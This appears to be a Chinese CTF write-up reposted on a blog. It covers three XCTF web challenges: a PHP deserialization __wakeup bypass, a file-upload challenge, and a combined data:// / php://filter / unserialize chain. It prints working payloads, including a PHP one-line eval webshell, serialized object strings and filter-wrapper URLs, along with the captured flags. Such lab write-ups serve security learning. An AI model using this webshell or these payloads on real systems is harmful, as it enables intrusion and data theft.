攻防世界web解题[进阶](四)
介绍:记录解题过程
12.unserialize3(反序列化漏洞)
题目描述:暂无
- 首页
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
__wakeup 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
所以猜测被反序列化了
- 反序列化参考文章:
《从0到1:CTFer成长之路》初识反序列化 - 输入点
http://IP:POST/?code=
- 我们要利用反序列化漏洞得到flag:
- 我们先运行__wakeup():
- Exploit构造
// php文件
<!DOCTYPE html>
<html>
<body>
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo(serialize($a));
?>
</body>
</html>
- (poc)运行得到
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
-
ok,现在我们要输出flag
如果直接传参给code会被__wakeup()函数再次序列化,所以要绕过他。
利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
参数 | 表示 |
---|---|
O | 序列化的对象 |
< length> | 序列化的类名称长度 |
< class name> | 序列化的类的名称 |
< n > | 被序列化的对象的属性个数 |
< field name 1> | 属性名 |
< field value 1> | 属性值 |
- 所以要修改属性值< n >,既把1改为2以上
- poc
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
- 访问
http://IP:POST/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
13.upload1(文件上传漏洞)
题目描述:暂无
<!Doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script type="text/javascript">
Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
}
}
return false;
}
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
}
</script>
</head>
<body>
<form enctype='multipart/form-data' id='aa' name='aaa' method='post' action='index.php'>
<input id="upfile" name='upfile' type='file' onchange="check();" />
<input type='submit' id ='submit' value='上传'>
</form>
</body>
</html>
方法一(删disabled)
- 上传一句话木马
//一句话木马
<?php @eval($_POST[cmd]); ?>
<?php
$flag="cyberpeace{bab6d3dd4ca03921f7a20afc63909b5d}";
?>
方法二(BurpSuite改文件后缀)
14.nizhuansiwei(反序列化漏洞+php://input伪协议)
题目描述:暂无
- 首页给到源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
-
参考文章:
BUUCTF__[ZJCTF 2019]NiZhuanSiWei_题解
【CTF系列】攻防世界-nizhuansiwei -
我们需要进到文件包含
include($file); //useless.php
- 首先我们需要满足条件:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
- 方式一利用data://伪协议:
- 构造后的 URL:
http://111.200.241.244:45370/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
http://IP:POST/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
- 回显
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
- 这里有个 flag.php ,并且file不为空将读取flag.php并显示。所以,构造一个序列化字符串。
在线运行工具 - 运行
<?php
class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
$a->file="flag.php";
echo serialize($a);
?>
- 结果
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
- 最后综合payload
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
cyberpeace{2f3745cd1f1bb9daaf81146148b9bf1c}
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92719.html